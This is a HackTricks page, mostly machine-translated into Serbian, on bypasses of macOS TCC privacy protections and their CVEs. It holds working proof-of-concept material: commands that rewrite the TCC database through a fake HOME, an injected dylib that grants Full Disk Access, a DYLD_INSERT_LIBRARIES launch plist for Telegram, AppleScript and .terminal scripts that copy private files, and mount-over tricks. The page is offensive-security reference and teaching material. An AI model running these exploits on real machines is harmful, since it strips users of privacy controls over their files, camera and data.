macOS TCC Bypasses

Support HackTricks

Po funkcionalnosti

Write Bypass

Ovo nije zaobilaženje, to je samo način na koji TCC funkcioniše: Ne štiti od pisanja. Ako Terminal nema pristup da pročita Desktop korisnika, i dalje može da piše u njega:

username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd

The proširena atribut com.apple.macl se dodaje novom fajlu kako bi se aplikaciji kreatora omogućio pristup za čitanje.

TCC ClickJacking

Moguće je staviti prozor preko TCC prompta kako bi korisnik prihvatio to bez da primeti. Možete pronaći PoC u TCC-ClickJacking.

TCC Zahtev po proizvoljnom imenu

Napadač može napraviti aplikacije sa bilo kojim imenom (npr. Finder, Google Chrome...) u Info.plist i učiniti da zatraži pristup nekoj TCC zaštićenoj lokaciji. Korisnik će pomisliti da je legitimna aplikacija ta koja traži ovaj pristup. Štaviše, moguće je ukloniti legitimnu aplikaciju iz Dock-a i staviti lažnu umesto nje, tako da kada korisnik klikne na lažnu (koja može koristiti istu ikonu) može pozvati legitimnu, zatražiti TCC dozvole i izvršiti malware, navodeći korisnika da veruje da je legitimna aplikacija tražila pristup.

Više informacija i PoC u:

macOS Privilege Escalation

SSH Bypass

Podrazumevano, pristup putem SSH je imao "Full Disk Access". Da biste onemogućili ovo, potrebno je da bude navedeno, ali onemogućeno (uklanjanje sa liste neće ukloniti te privilegije):

Ovde možete pronaći primere kako su neki malware-ovi mogli da zaobiđu ovu zaštitu:

Napomena da sada, da biste mogli da omogućite SSH, potrebna vam je Full Disk Access

Handle extensions - CVE-2022-26767

Atribut com.apple.macl se dodeljuje fajlovima kako bi se određenoj aplikaciji omogućile dozvole za čitanje. Ovaj atribut se postavlja kada se prevuče i ispusti fajl preko aplikacije, ili kada korisnik duplo klikne na fajl da ga otvori sa podrazumevanom aplikacijom.

Stoga, korisnik može registrovati zloćudnu aplikaciju da upravlja svim ekstenzijama i pozvati Launch Services da otvori bilo koji fajl (tako da će zloćudni fajl dobiti pristup za čitanje).

iCloud

Pravo com.apple.private.icloud-account-access omogućava komunikaciju sa com.apple.iCloudHelper XPC servisom koji će obezbediti iCloud tokene.

iMovie i Garageband su imali ovo pravo i druge koje su to omogućavale.

Za više informacija o eksploatu za dobijanje iCloud tokena iz tog prava, pogledajte predavanje: #OBTS v5.0: "Šta se dešava na vašem Mac-u, ostaje na Apple-ovom iCloud-u?!" - Wojciech Regula

kTCCServiceAppleEvents / Automatizacija

Aplikacija sa kTCCServiceAppleEvents dozvolom će moći da kontroliše druge aplikacije. To znači da bi mogla da zloupotrebi dozvole dodeljene drugim aplikacijama.

Za više informacija o Apple skriptama, pogledajte:

macOS Apple Scripts

Na primer, ako aplikacija ima dozvolu za automatizaciju nad iTerm, na primer u ovom primeru Terminal ima pristup nad iTerm:

Preko iTerm

Terminal, koji nema FDA, može pozvati iTerm, koji ga ima, i koristiti ga za izvršavanje akcija:

iterm.script
tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell
osascript iterm.script

Preko Findera

Ili ako aplikacija ima pristup preko Findera, mogla bi koristiti skriptu poput ove:

set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

Po ponašanju aplikacije

CVE-2020–9934 - TCC

Korisnički tccd daemon koristi HOME env promenljivu za pristup TCC korisničkoj bazi podataka iz: $HOME/Library/Application Support/com.apple.TCC/TCC.db

Prema ovom Stack Exchange postu i zato što TCC daemon radi putem launchd unutar domena trenutnog korisnika, moguće je kontrolisati sve promenljive okruženja koje se prosleđuju njemu. Tako, napadač može postaviti $HOME promenljivu okruženja u launchctl da pokazuje na kontrolisanu direktoriju, ponovo pokrenuti TCC daemon, i zatim direktno izmeniti TCC bazu podataka da bi sebi dao svaku dostupnu TCC privilegiju bez ikakvog obaveštavanja krajnjeg korisnika. PoC:

# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents

CVE-2021-30761 - Beleške

Beleške su imale pristup TCC zaštićenim lokacijama, ali kada se kreira beleška, ona se kreira na nezaštićenoj lokaciji. Dakle, mogli biste tražiti od beleški da kopiraju zaštićenu datoteku u belešku (tako u nezaštićenoj lokaciji) i zatim pristupiti datoteci:

CVE-2021-30782 - Translokacija

Binarni fajl /usr/libexec/lsd sa bibliotekom libsecurity_translocate imao je pravo com.apple.private.nullfs_allow koje mu je omogućilo da kreira nullfs montiranje i imao je pravo com.apple.private.tcc.allow sa kTCCServiceSystemPolicyAllFiles za pristup svakoj datoteci.

Bilo je moguće dodati atribut karantina na "Biblioteku", pozvati com.apple.security.translocation XPC servis i tada bi se Biblioteka mapirala na $TMPDIR/AppTranslocation/d/d/Library gde su svi dokumenti unutar Biblioteke mogli biti pristupani.

CVE-2023-38571 - Muzika i TV

Muzika ima zanimljivu funkciju: Kada je u radu, uvozi datoteke koje su bačene u ~/Music/Music/Media.localized/Automatically Add to Music.localized u "medijsku biblioteku" korisnika. Štaviše, poziva nešto poput: rename(a, b); gde su a i b:

  • a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"

  • b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3

Ovo rename(a, b); ponašanje je ranjivo na Race Condition, jer je moguće staviti lažni TCC.db fajl unutar foldera Automatically Add to Music.localized i zatim, kada se novi folder (b) kreira, kopirati datoteku, obrisati je i usmeriti je na ~/Library/Application Support/com.apple.TCC/.

SQLITE_SQLLOG_DIR - CVE-2023-32422

Ako je SQLITE_SQLLOG_DIR="put/folder", to u suštini znači da se baza podataka koja je otvorena kopira na tu putanju. U ovom CVE-u ova kontrola je zloupotrebljena da se piše unutar SQLite baze podataka koja će biti otvorena od strane procesa sa FDA TCC bazom podataka, a zatim zloupotrebljena SQLITE_SQLLOG_DIR sa symlink-om u imenu fajla tako da kada je ta baza podataka otvorena, korisnička TCC.db se prepisuje sa otvorenom. Više informacija u izveštaju i u predavanju.

SQLITE_AUTO_TRACE

Ako je promenljiva okruženja SQLITE_AUTO_TRACE postavljena, biblioteka libsqlite3.dylib će početi da beleži sve SQL upite. Mnoge aplikacije su koristile ovu biblioteku, tako da je bilo moguće zabeležiti sve njihove SQLite upite.

Nekoliko Apple aplikacija koristilo je ovu biblioteku za pristup TCC zaštićenim informacijama.

# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1

MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407

Ova env promenljiva se koristi od strane Metal okvira koji je zavisnost raznih programa, najistaknutije Music, koji ima FDA.

Postavljanje sledećeg: MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name". Ako je path važeći direktorijum, greška će se aktivirati i možemo koristiti fs_usage da vidimo šta se dešava u programu:

  • fajl će biti open()ovan, nazvan path/.dat.nosyncXXXX.XXXXXX (X je nasumično)

  • jedan ili više write() će zapisati sadržaj u fajl (mi to ne kontrolišemo)

  • path/.dat.nosyncXXXX.XXXXXX će biti renamed() u path/name

To je privremeno pisanje fajla, praćeno rename(old, new) koje nije sigurno.

Nije sigurno jer mora da reši stare i nove putanje odvojeno, što može potrajati i može biti ranjivo na uslove trke. Za više informacija možete proveriti xnu funkciju renameat_internal().

Dakle, u suštini, ako privilegovani proces preimenuje iz foldera koji kontrolišete, mogli biste dobiti RCE i učiniti da pristupi drugom fajlu ili, kao u ovom CVE, otvoriti fajl koji je privilegovana aplikacija kreirala i sačuvati FD.

Ako preimenovanje pristupa folderu koji kontrolišete, dok ste izmenili izvorni fajl ili imate FD za njega, menjate odredišni fajl (ili folder) da pokazuje na symlink, tako da možete pisati kad god želite.

Ovo je bio napad u CVE: Na primer, da bismo prepisali korisnikov TCC.db, možemo:

  • kreirati /Users/hacker/ourlink da pokazuje na /Users/hacker/Library/Application Support/com.apple.TCC/

  • kreirati direktorijum /Users/hacker/tmp/

  • postaviti MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db

  • aktivirati grešku pokretanjem Music sa ovom env promenljivom

  • uhvatiti open() od /Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX (X je nasumično)

  • ovde takođe open() ovaj fajl za pisanje, i zadržati deskriptor fajla

  • atomatski zameniti /Users/hacker/tmp sa /Users/hacker/ourlink u petlji

  • radimo ovo da bismo maksimizirali naše šanse za uspeh jer je prozor trke prilično mali, ali gubitak trke ima zanemarljivu negativnu stranu

  • malo sačekati

  • testirati da li smo imali sreće

  • ako ne, ponovo pokrenuti od vrha

Više informacija na https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html

Sada, ako pokušate da koristite env promenljivu MTL_DUMP_PIPELINES_TO_JSON_FILE, aplikacije se neće pokrenuti

Apple Remote Desktop

Kao root mogli biste omogućiti ovu uslugu i ARD agent će imati pun pristup disku koji bi zatim mogao biti zloupotrebljen od strane korisnika da napravi kopiju nove TCC korisničke baze podataka.

Preko NFSHomeDirectory

TCC koristi bazu podataka u korisnikovom HOME folderu da kontroliše pristup resursima specifičnim za korisnika na $HOME/Library/Application Support/com.apple.TCC/TCC.db. Stoga, ako korisnik uspe da ponovo pokrene TCC sa $HOME env promenljivom koja pokazuje na drugi folder, korisnik bi mogao da kreira novu TCC bazu podataka u /Library/Application Support/com.apple.TCC/TCC.db i prevari TCC da dodeli bilo koju TCC dozvolu bilo kojoj aplikaciji.

Napomena da Apple koristi podešavanje smešteno unutar korisničkog profila u NFSHomeDirectory atributu za vrednost $HOME, tako da ako kompromitujete aplikaciju sa dozvolama za izmenu ove vrednosti (kTCCServiceSystemPolicySysAdminFiles), možete naoružati ovu opciju sa TCC zaobilaženjem.

CVE-2021-30970 - Powerdir

Prvi POC koristi dsexport i dsimport da izmeni HOME folder korisnika.

  1. Dobiti csreq blob za ciljan app.

  2. Postaviti lažni TCC.db fajl sa potrebnim pristupom i csreq blobom.

  3. Izvesti korisnikov Directory Services unos sa dsexport.

  4. Izmeniti Directory Services unos da promeni korisnikov home direktorijum.

  5. Uvesti izmenjeni Directory Services unos sa dsimport.

  6. Zaustaviti korisnikov tccd i ponovo pokrenuti proces.

Drugi POC je koristio /usr/libexec/configd koji je imao com.apple.private.tcc.allow sa vrednošću kTCCServiceSystemPolicySysAdminFiles. Bilo je moguće pokrenuti configd sa -t opcijom, napadač bi mogao da specificira prilagođeni Bundle za učitavanje. Stoga, eksploatacija menja dsexport i dsimport metodu promene korisnikovog home direktorijuma sa configd kod injekcijom.

Za više informacija proverite originalni izveštaj.

Preko injekcije procesa

Postoje različite tehnike za injekciju koda unutar procesa i zloupotrebu njegovih TCC privilegija:

macOS Process Abuse

Štaviše, najčešća injekcija procesa za zaobilaženje TCC koja je pronađena je putem pluginova (load library). Pluginovi su dodatni kod obično u obliku biblioteka ili plist, koji će biti učitani od strane glavne aplikacije i izvršavaće se pod njenim kontekstom. Stoga, ako je glavna aplikacija imala pristup TCC ograničenim fajlovima (putem dodeljenih dozvola ili prava), prilagođeni kod će takođe imati pristup.

CVE-2020-27937 - Directory Utility

Aplikacija /System/Library/CoreServices/Applications/Directory Utility.app imala je pravo kTCCServiceSystemPolicySysAdminFiles, učitavala je pluginove sa .daplug ekstenzijom i nije imala pojačanu runtime zaštitu.

Da bi se naoružao ovaj CVE, NFSHomeDirectory je promenjen (zloupotrebljavajući prethodno pravo) kako bi mogao da preuzme korisnikov TCC bazu podataka za zaobilaženje TCC.

Za više informacija proverite originalni izveštaj.

CVE-2020-29621 - Coreaudiod

Binarni fajl /usr/sbin/coreaudiod imao je prava com.apple.security.cs.disable-library-validation i com.apple.private.tcc.manager. Prvo dozvoljava injekciju koda a drugo mu daje pristup da upravlja TCC.

Ovaj binarni fajl je omogućio učitavanje pluginova trećih strana iz foldera /Library/Audio/Plug-Ins/HAL. Stoga, bilo je moguće učitati plugin i zloupotrebiti TCC dozvole sa ovim PoC:

#import <Foundation/Foundation.h>
#import <Security/Security.h>

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");

CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);

TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}

__attribute__((constructor)) static void constructor(int argc, const char **argv) {

add_tcc_entry();

NSLog(@"[+] Exploitation finished...");
exit(0);

Za više informacija pogledajte originalni izveštaj.

Device Abstraction Layer (DAL) Plug-Ins

Sistemske aplikacije koje otvaraju kameru putem Core Media I/O (aplikacije sa kTCCServiceCamera) učitavaju u procesu ove plug-inove smeštene u /Library/CoreMediaIO/Plug-Ins/DAL (nije pod SIP restrikcijom).

Samo čuvanje biblioteke sa zajedničkim konstruktorom će raditi za injekciju koda.

Nekoliko Apple aplikacija je bilo ranjivo na ovo.

Firefox

Aplikacija Firefox je imala com.apple.security.cs.disable-library-validation i com.apple.security.cs.allow-dyld-environment-variables privilegije:

codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key><true/>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>

Fore more info about how to easily exploit this check the original report.

CVE-2020-10006

Binarni fajl /system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl je imao ovlašćenja com.apple.private.tcc.allow i com.apple.security.get-task-allow, što je omogućilo injektovanje koda unutar procesa i korišćenje TCC privilegija.

CVE-2023-26818 - Telegram

Telegram je imao ovlašćenja com.apple.security.cs.allow-dyld-environment-variables i com.apple.security.cs.disable-library-validation, tako da je bilo moguće zloupotrebiti ga da dobijete pristup njegovim dozvolama kao što je snimanje kamerom. Možete pronaći payload u izveštaju.

Napomena kako koristiti env varijablu za učitavanje biblioteke, custom plist je kreiran za injektovanje ove biblioteke i launchctl je korišćen za pokretanje:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
launchctl load com.telegram.launcher.plist

Pozivom open

Moguće je pozvati open čak i dok je u sandboxu

Terminal skripte

Uobičajeno je dati terminalu Full Disk Access (FDA), barem na računarima koje koriste tehnički ljudi. I moguće je pozvati .terminal skripte koristeći to.

.terminal skripte su plist datoteke kao što je ova sa komandom za izvršavanje u CommandString ključnoj reči:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>

Jedna aplikacija može napisati terminalski skript na lokaciji kao što je /tmp i pokrenuti ga sa komandom kao što je:

// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];

Montiranjem

CVE-2020-9771 - mount_apfs TCC zaobilaženje i eskalacija privilegija

Bilo koji korisnik (čak i oni bez privilegija) može da kreira i montira snapshot vremenske mašine i pristupi SVI datotekama tog snapshot-a. Jedina privilegija koja je potrebna je da aplikacija koja se koristi (kao što je Terminal) ima Pristup celom disku (FDA) (kTCCServiceSystemPolicyAllfiles) koji mora biti odobren od strane administratora.

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

Detaljnije objašnjenje može se pronaći u originalnom izveštaju.

CVE-2021-1784 & CVE-2021-30808 - Montiranje preko TCC datoteke

Čak i ako je TCC DB datoteka zaštićena, bilo je moguće montirati novu TCC.db datoteku preko direktorijuma:

# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg

# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")

Check the full exploit in the original writeup.

asr

Alat /usr/sbin/asr omogućava kopiranje celog diska i montiranje na drugo mesto, zaobilazeći TCC zaštite.

Location Services

Postoji treća TCC baza podataka u /var/db/locationd/clients.plist koja označava klijente kojima je dozvoljen pristup uslugama lokacije. Folder /var/db/locationd/ nije bio zaštićen od DMG montiranja, tako da je bilo moguće montirati našu plist datoteku.

By startup apps

macOS Auto Start

By grep

U nekoliko slučajeva, datoteke će čuvati osetljive informacije kao što su emailovi, brojevi telefona, poruke... na nezaštićenim mestima (što se smatra ranjivošću u Apple-u).

Synthetic Clicks

Ovo više ne funkcioniše, ali je funkcionisalo u prošlosti:

Drugi način koristeći CoreGraphics događaje:

Reference

Support HackTricks

Last updated